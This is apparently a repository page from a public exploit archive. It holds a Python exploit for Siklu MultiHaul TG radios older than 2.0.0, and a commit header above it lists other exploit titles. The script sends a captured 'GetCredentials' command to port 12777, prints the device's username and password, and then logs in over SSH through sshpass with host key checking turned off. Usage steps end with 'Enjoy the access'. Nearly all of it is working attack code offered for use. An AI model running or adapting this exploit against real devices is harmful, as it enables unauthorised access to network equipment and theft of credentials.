e791587e41
10 changes to exploits/shellcodes/ghdb RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10 - Denial of Service Siklu MultiHaul TG series < 2.0.0 - unauthenticated credential disclosure Dell Security Management Server <1.9.0 - Local Privilege Escalation Asterisk AMI - Partial File Content & Path Disclosure (Authenticated) Broken Access Control - on NodeBB v3.6.7 liveSite Version 2019.1 - Remote Code Execution Purei CMS 1.0 - SQL Injection Workout Journal App 1.0 - Stored XSS WinRAR version 6.22 - Remote Code Execution via ZIP archive
46 lines
No EOL
1.6 KiB
Python
Executable file
46 lines
No EOL
1.6 KiB
Python
Executable file
# Exploit Title: Siklu MultiHaul TG series - unauthenticated credential disclosure
|
|
# Date: 28-02-2024
|
|
# Exploit Author: semaja2
|
|
# Vendor Homepage: https://siklu.com/
|
|
# Software Link: https://partners.siklu.com/home/frontdoor
|
|
# Version: < 2.0.0
|
|
# Tested on: 2.0.0
|
|
# CVE : None assigned
|
|
#
|
|
# Instructions
|
|
# 1. Perform IPv6 host detect by pinging all host multicast address for interface attached to device
|
|
# `ping6 -I en7 -c 2 ff02::1`
|
|
# 2. Review IPv6 neighbours and identify target device based on vendor component of MAC address
|
|
# `ip -6 neigh show dev en7`
|
|
# 3. Execute script
|
|
# `python3 tg-getcreds.py fe80::34d9:1337:b33f:7001%en7`
|
|
# 4. Enjoy the access
|
|
|
|
|
|
|
|
import socket
|
|
import sys
|
|
import os
|
|
|
|
address = str(sys.argv[1]) # the target
|
|
port = 12777
|
|
|
|
# Captured command, sends "GetCredentials" to obtain random generated username/password
|
|
cmd = bytearray.fromhex("000000290FFF000100000001000100000000800100010000000E47657443726564656E7469616C730000000000")
|
|
|
|
addrinfo = socket.getaddrinfo(address, port, socket.AF_INET6, socket.SOCK_STREAM)
|
|
(family, socktype, proto, canonname, sockaddr) = addrinfo[0]
|
|
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
|
s.connect(sockaddr)
|
|
s.send(cmd)
|
|
data = s.recv(200)
|
|
s.close()
|
|
output = "".join(map(chr, data))
|
|
|
|
# Split output, then remove trailing noise as string length is always 35
|
|
splits = output.split('#')
|
|
username = splits[1][slice(0, 35, 1)]
|
|
password = splits[2][slice(0, 35, 1)]
|
|
print('Username: ', username)
|
|
print('Password: ', password)
|
|
os.system("sshpass -p {password} ssh -o StrictHostKeychecking=no {address} -l {username}".format(address = address, username = username, password = password)) |